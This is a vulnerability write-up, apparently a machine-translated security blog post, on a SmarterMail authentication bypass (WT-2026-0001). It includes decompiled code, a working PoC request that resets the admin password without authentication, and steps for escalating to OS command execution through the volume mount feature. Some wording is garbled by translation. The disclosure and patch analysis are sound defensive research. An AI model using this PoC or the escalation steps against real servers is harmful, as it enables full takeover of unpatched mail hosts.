Attacker with decompiler attacks again (SmarterTools SmarterMail WT-2026-0001 Authentication Bypass)

Well, well, well, look what came back.

Just two weeks ago, we analyzed CVE-2025-52691. CVE-2025-52691 is a pre-authentication RCE vulnerability in the SmarterTools SmarterMail email solution that used timelines typically reserved for KEV owners.

The plot of that story had it all.

  • government agency
  • Ambiguous patch notes (in our opinion)
  • Pretty tense forum post
  • Accusation of field exploitation

What are dreams made of?

why are we here?

Well, as always – lazy hands, lazy mind, zero self-control. We decided to continue investigating what seemed like a pretty interesting solution, but soon encountered an authentication bypass vulnerability called WT-2026-0001. This allows any user to reset the SmarterMail system administrator password.

The problem, of course, is that users can use RCE functionality as a feature to directly execute OS commands.

A mail server full of features!

We believe (and have verified, so we don’t actually believe it, but it still sounds good) that this vulnerability was patched relatively quickly by the SmarterTool team’s post report, and a patched version was released 6 days ago on January 15, 2026 (release 9511).

The release notes have a clear, concise, and well-communicated urgent message (probably in red, but we’re colorblind so we can’t tell).

Attacker with decompiler attacks again (SmarterTools SmarterMail WT-2026-0001 Authentication Bypass)

We weren’t planning on publishing this blog post today – Wednesday is Meme Day – but that changed after an anonymous reader tipped us off – Someone is currently abusing SmarterMail and resetting administrator passwords.

This same reader was kind enough to point me to the seemingly related SmarterMail. forum threadHere, the user claims to have lost access to the administrator account and provides log file excerpts of potentially related suspicious behavior.

force-reset-password As explained later, this is the exact endpoint related to WT-2026-0001.

A smoke bomb? Logs suggest that an exploit took place Two days after the patch was released.

we were stunned.

How was this possible? I immediately looked it up on Google. No, there is no evidence that the third dog dropped the PoC.

What about TikTok? there is nothing.

Perhaps the WarThunder forums? No, more secret military manuals have been added.

Is this the second documented case where an attacker used a decompiler to reverse engineer a security-related patch and reconstruct a vulnerability?

I gasp.

WT-2026-0001 – Authentication bypass with password reset

Frankly, our plan was simple when we started searching for the fire behind the smoke. The idea was to check for unauthenticated endpoints and hope for an easy win.

Spoiler alert: It was an easy win.

Authentication controllers and password reset functionality are prime targets for attackers. the result, SmarterMail.Web.Api.AuthenticationController.ForceResetPassword This method immediately caught our attention.

[HttpPost]
[Route("force-reset-password")] // [1]
[AuthenticatedService(AllowAnonymous = true)] // [2]
[CheckInputForNullFilter]
[ShortDescription("This function will attempt to reset a user's password.")]
[Description("This function will attempt to reset a user's password and should only be called after a user attempts to login and they receive a ChangePasswordNeeded = true.")]
public ActionResult ForceResetPassword([FromBody] ForceResetPasswordInputs inputs)
{
	ActionResult result;
	try
	{
		ActionResult actionResult = base.ReturnResult(delegate()
		{
			AuthenticationService instance = AuthenticationService.Instance;
			ForceResetPasswordInputs inputs2 = inputs;
			IPAddress clientIPAddress = this.HttpContext.GetClientIPAddress();
			return instance.ForcePasswordReset(inputs2, (clientIPAddress != null) ? clientIPAddress.ToString() : null); // [3]
		});
		base.AuditLogSuccess("force-reset-password");
		result = actionResult;
	}
	//...
}
  1. in [1], force-reset-password API endpoints are defined.
  2. in [2]the endpoint is marked as allowing anonymous access, meaning it can be accessed without authentication. This is standard behavior for password reset functionality and is not inherently suspicious.
  3. in [3]execution is passed to . ForcePasswordReset method. This is where the core logic is implemented.

This API endpoint is ForceResetPasswordInputs object. You can deserialize from JSON. It has some interesting properties that you can control.

  • IsSysAdmin
  • Username
  • OldPassword
  • NewPassword
  • ConfirmPassword

The combination is immediately unusual. Password reset flows typically rely on a second factor or out-of-band proof of control (such as a private token delivered via email).

Here, the existence of OldPassword and NewPassword It suggests something close to a standard “change password” operation, but this operation is exposed without authentication.

Isn’t it amazing?

There is another interesting property. IsSysAdmin of bool type.

Does this mean that the method behaves differently based on the type of account in question, and that this decision is made by input provided by the user?

public new ResetPasswordResult ForcePasswordReset(ForceResetPasswordInputs inputs, string hostname)
{
	ResetPasswordResult resetPasswordResult = new ResetPasswordResult();
	try
	{
		resetPasswordResult.DebugInfo = "check1" + Environment.NewLine;
		//...
		if (inputs.IsSysAdmin) // [1]
		{
			ResetPasswordResult resetPasswordResult4 = resetPasswordResult;
			//system administrator password reset procedure
			//...
		}
		else
		{
			ResetPasswordResult resetPasswordResult9 = resetPasswordResult;
			//regular user password reset procedure
			//...
		}
		//...
	}

surely!

in [1]The code branches based on the value of . IsSysAdmin. If set to truethe logic to reset the system administrator’s password is executed. If so falsea different path is taken to handle password resets for regular users.

We started our analysis with a regular user’s password reset path, assuming it is not as hardened as the admin flow. A quick review didn’t reveal any pressing issues, so I moved on.

This gives me the following code:

public new ResetPasswordResult ForcePasswordReset(ForceResetPasswordInputs inputs, string hostname)
{
	ResetPasswordResult resetPasswordResult = new ResetPasswordResult();
	try
	{
		//...
		if (inputs.IsSysAdmin)
		{
			ResetPasswordResult resetPasswordResult4 = resetPasswordResult;
			resetPasswordResult4.DebugInfo = resetPasswordResult4.DebugInfo + "check4.2" + Environment.NewLine;
			db_system_administrator_readonly db_system_administrator_readonly = SystemRepository.Instance.AdministratorGetByUsername(inputs.Username); // [1]
			if (db_system_administrator_readonly == null)
			{
				resetPasswordResult.Success = false;
				resetPasswordResult.Message = "USER_NOT_FOUND";
				resetPasswordResult.ResultCode = HttpStatusCode.BadRequest;
				return resetPasswordResult;
			}
			PasswordStrength.FailedRequirementWithVariable requirementCodes = PasswordStrength.GetRequirementCodes(db_system_administrator_readonly, inputs.NewPassword, false);
			ResetPasswordResult resetPasswordResult5 = resetPasswordResult;
			resetPasswordResult5.DebugInfo = resetPasswordResult5.DebugInfo + "check5.2" + Environment.NewLine;
			if (requirementCodes != null)
			{
				resetPasswordResult.Success = false;
				resetPasswordResult.Username = inputs.Username;
				resetPasswordResult.Message = requirementCodes.Item1;
				resetPasswordResult.ErrorCode = requirementCodes.Item1;
				resetPasswordResult.ErrorData = requirementCodes.Item2;
				resetPasswordResult.ResultCode = HttpStatusCode.BadRequest;
				PasswordBruteForceDetector.Instance.ResetSource(hostname);
				return resetPasswordResult;
			}
			Dictionary dictionary = db_system_administrator_readonly.password_history_hashed_readonly.ToDictionary();
			dictionary.Add(db_system_administrator_readonly.password_hash, DateTime.UtcNow);
			db_system_administrator item = new db_system_administrator
			{
				guid = db_system_administrator_readonly.guid,
				Password = inputs.NewPassword,
				password_history_hashed = dictionary
			}; // [2]
			ResetPasswordResult resetPasswordResult6 = resetPasswordResult;
			resetPasswordResult6.DebugInfo = resetPasswordResult6.DebugInfo + "check6.2" + Environment.NewLine;
			try
			{
				SystemRepository.Instance.AdministratorUpdate(item, new bool?(false), new db_system_administrator.Columns[]
				{
					db_system_administrator.Columns.password_hash,
					db_system_administrator.Columns.password_history_hashed
				}); // [3]
			}
			catch (Exception ex)
			{
				resetPasswordResult.Success = false;
				resetPasswordResult.ResultCode = HttpStatusCode.BadRequest;
				resetPasswordResult.Message = ex.Message;
				return resetPasswordResult;
			}
			ResetPasswordResult resetPasswordResult7 = resetPasswordResult;
			resetPasswordResult7.DebugInfo = resetPasswordResult7.DebugInfo + "check7.2" + Environment.NewLine;
			PasswordBruteForceDetector.Instance.ResetSource(hostname);
			ResetPasswordResult resetPasswordResult8 = resetPasswordResult;
			resetPasswordResult8.DebugInfo = resetPasswordResult8.DebugInfo + "check8.2" + Environment.NewLine;
		}
		else
		{
			ResetPasswordResult resetPasswordResult9 = resetPasswordResult; 
			//...
		}
		//...
	}
	//...
}
  1. in [1]the code is Username Get the arguments from the attacker’s JSON and get their settings.
  2. in [2]Create. item object. Password The property is set to be controlled by the attacker NewPassword value.
  3. in [3]will update the administrator account with a new password.

watt

Yes, dear reader.

There are no security controls here. There is no authentication. No authority. No verification OldPassword. Despite the need for an API OldPassword Fields in the request are not checked when resetting the system administrator password.

Ironically, the normal user password reset flow validates the existing password. Privileged passes are not.

This is a complete authentication bypass for the system administrator account. An attacker need only send a request containing:

  • Administrator account username
  • New password of your choice

Enjoy admin access.

proof of concept

The PoC is simple:

POST /api/v1/auth/force-reset-password HTTP/1.1
Host: xxxxxxx:9998
Content-Type: application/json
Content-Length: 145

{"IsSysAdmin":"true",
"OldPassword":"watever",
"Username":"admin",
"NewPassword":"NewPassword123!@#",
"ConfirmPassword": "NewPassword123!@#"}

You should receive the following response confirming that your password was successfully changed.

{
"username":"",
"errorCode":"",
"errorData":"",
"debugInfo":"check1\\r\\ncheck2\\r\\ncheck3\\r\\ncheck4.2\\r\\ncheck5.2\\r\\ncheck6.2\\r\\ncheck7.2\\r\\ncheck8.2\\r\\n",
"success":true,
"resultCode":200
}

The only remaining requirement is to know the username of the administrator account. In most deployments, this could be something predictable like this: admin or administrator.

There might be a way to enumerate valid administrator usernames, but that feels too academic these days. Given how common these defaults are, a guess is probably enough.

But wait, there’s more – RCE as a Service

Although it technically addresses an authentication bypass vulnerability, it provides a direct path to remote code execution. SmarterMail exposes built-in functionality that allows system administrators to execute operating system commands.

Once authenticated as a system administrator, an attacker can:

  • move to Settings -> Volume Mounts.
  • Create a new volume.
  • Enter any command in . Volume Mount Command field.

That command is executed by the underlying operating system. At that point, the attacker has achieved full remote code execution on the host.

Once the configuration is saved, the specified command will be executed immediately.

In a proof of concept, this creates a SYSTEM level shell on the target host.

what to do and how to live

This issue was patched in version 9511, released on January 15, 2026. If you haven’t already done so, please do so now. This vulnerability is already being actively exploited.

If you attempt to exploit this issue on a patched system, you will receive the following error message:

{
"username":"",
"errorCode":"",
"errorData":"",
"debugInfo":"check1\\r\\ncheck2\\r\\ncheck3\\r\\ncheck4.2\\r\\ncheck5.2\\r\\n",
"success":false,
"resultCode":400,
"message":"Invalid input parameters"
}

This behavior is consistent with the patched implementation. ForcePasswordReset method:

//...
if (inputs.IsSysAdmin)
{
	ResetPasswordResult resetPasswordResult4 = resetPasswordResult;
	resetPasswordResult4.DebugInfo = resetPasswordResult4.DebugInfo + "check4.2" + Environment.NewLine;
	db_system_administrator_readonly db_system_administrator_readonly = SystemRepository.Instance.AdministratorGetByUsername(inputs.Username);
	if (db_system_administrator_readonly == null)
	{
		resetPasswordResult.Success = false;
		resetPasswordResult.Message = "USER_NOT_FOUND";
		resetPasswordResult.ResultCode = HttpStatusCode.BadRequest;
		return resetPasswordResult;
	}
	PasswordStrength.FailedRequirementWithVariable requirementCodes = PasswordStrength.GetRequirementCodes(db_system_administrator_readonly, inputs.NewPassword, false);
	ResetPasswordResult resetPasswordResult5 = resetPasswordResult;
	resetPasswordResult5.DebugInfo = resetPasswordResult5.DebugInfo + "check5.2" + Environment.NewLine;
	if (requirementCodes != null)
	{
		resetPasswordResult.Success = false;
		resetPasswordResult.Username = inputs.Username;
		resetPasswordResult.Message = requirementCodes.Item1;
		resetPasswordResult.ErrorCode = requirementCodes.Item1;
		resetPasswordResult.ErrorData = requirementCodes.Item2;
		resetPasswordResult.ResultCode = HttpStatusCode.BadRequest;
		PasswordBruteForceDetector.Instance.ResetSource(hostname);
		return resetPasswordResult;
	}
	if (!db_system_administrator_readonly.ValidatePassword(inputs.OldPassword, null)) // [1]
	{
		resetPasswordResult.Success = false;
		resetPasswordResult.ResultCode = HttpStatusCode.BadRequest;
		resetPasswordResult.Message = "Invalid input parameters";
		return resetPasswordResult;
	}

in [1], ValidatePassword A method was added to validate the user’s current password.

As of this writing, there are no known CVEs assigned to this vulnerability.

This again shows that attackers are actively monitoring release notes and diffing patches against high-value targets. Friends, we learned this the hard way today on WT-2026-0001.

Upgrading is not required as this vulnerability has already been exploited. Apply the patch now.

datedetail
January 8, 2026WT-2026-0001 A vulnerability has been discovered and reported to the vendor.
January 8, 2026watchTowr explores the client’s attack surface for affected systems and communicates with them.
January 13, 2026SmarterMail confirms receipt of the advisory.
January 15, 2026Patch released (9511).
January 17, 2026A SmarterMail forum post notes that ITW’s attempts to exploit WT-2026-0001 were successful.
January 21, 2026watchTowr received an anonymous tip regarding ITW’s exploitation of WT-2026-0001.

Research published by WatchTowr Labs Just a glimpse of what’s empowering watchTowr platform – Provides automated and continuous testing against real attacker behavior.

By unifying proactive threat intelligence and external attack surface management, Pre-emptive exposure control ability, watchTowr platform We help organizations quickly respond to emerging threats and give them what matters most. Time to respond.

Get early access to our research and understand your risks using the watchTowr platform.

Request a demo

Latest Update

Today BestUpdate

Top of DayUpdate

Today Best Update